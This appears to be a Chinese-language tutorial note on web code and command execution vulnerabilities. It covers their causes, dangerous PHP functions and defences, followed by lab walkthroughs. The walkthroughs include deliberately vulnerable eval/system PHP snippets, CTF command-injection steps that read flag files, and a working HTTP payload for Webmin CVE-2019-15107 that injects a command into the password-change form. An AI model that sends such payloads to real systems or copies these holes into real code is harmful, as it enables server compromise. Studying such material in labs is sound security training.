一、概念
在Web应用中有时候程序员为了考虑灵活性,简洁性,会在代码调用代码或者命令执行函数去处理,比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞,同样调用系统命令处理,将造成命令执行漏洞。
二、分类
1、代码执行
1)脚本代码
php
Java
Python
2)产生
web源码(thinkphp,eyoucms,wordpress)
中间件平台(Tomcat,Apache Struts2,Redis)
其他环境(PHP-CGI,Jenkins-CI,Java RMI)
3)检测
白盒(代码审计)
黑盒(漏扫工具,公开的漏洞,手工看参数以及功能点)
4)防御
敏感函数禁用
变量过滤或固定
WAF产品
2、命令执行
1)系统
linux
Windows
(怎么区分两种系统那,linux对大小写敏感,Windows对大小写不敏感)
2)产生
web源码(Nexus,Webmin,ElasticSearch)
中间件平台(Weblogic,Apache)
其他环境(Postgresql,Samba,Supervisord)
3)检测
白盒(代码审计)
黑盒(漏扫工具,公开漏洞,手工看应用功能点决定)
4)防御
敏感函数禁用
变量过滤或固定
WAF产品
三、代码执行
代码执行是指程序在调用一些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码。
1、webshell
webshell就是以asp,php,jsp或者cgi等网页文件形式存在得一种代码执行漏洞,也可以将其称作为网页得后门。
2、代码执行函数
● eval();
● assert();
● preg_replace(); (PHP<5.5.0)
● include,require需要开启allow_url_include(php>5.2.0)
● create_function()
● call_user_func()
●$_GET['a']($_GET['b'])
3、案例演示
test.php
`<?php
$code=$_GET['x'];
eval($code);
?>`
我们访问链接:http://127.0.0.1/test.php?x=phpinfo();
访问链接:http://127.0.0.1/test.php?x=echo 1;
四、命令执行
代码执行漏洞应用有时需要调用一些执行系统命令得函数,当用户能控制这些函数中得参数时,就可以将恶意系统命令拼接到正常命令中去,从而造成命令执行攻击,这就是命令执行漏洞,简单来说就是"靠执行脚本代码调用操作系统命令"。
1、命令执行函数
● system
● exec
● 反引号 ``
● shell_exec
● passthru
● popen
● proc_popen
● ......
2、案例演示
test.php
<?php $code=$_GET['x']; echo system($code); ?>
访问链接:http://127.0.0.1/test.php?x=ipconfig
五、案例
1、命令注入执行分析(墨者)
漏洞地址:https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
第一步:打开环境
第二步:测试平台,发现好像有命令执行漏洞
第三步:抓包进行查看
cat<key_1173510526514.php
2、PHP代码分析溯源(第四题)
第一步:打开环境
第二步:对下面代码进行解密,注意要加双引号
<?php echo (gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&"))); ?>
第三步:根据源码分析,这种只要添加参数a就可以
第四步:tac<key_2668745917315.php
3、vulhub-webadmin
https://vulhub.org/#/environments/webmin/CVE-2019-15107/
我们虚拟机打开环境
cd webmin/
cd CVE-2019-15107/
docker-compose up -d
我们访问链接:https://192.168.61.129:10000/
我们对登陆口进行抓包。
payload如下:
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:10000
Origin: https://x.x.x.x:10000
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
我们放包,看结果。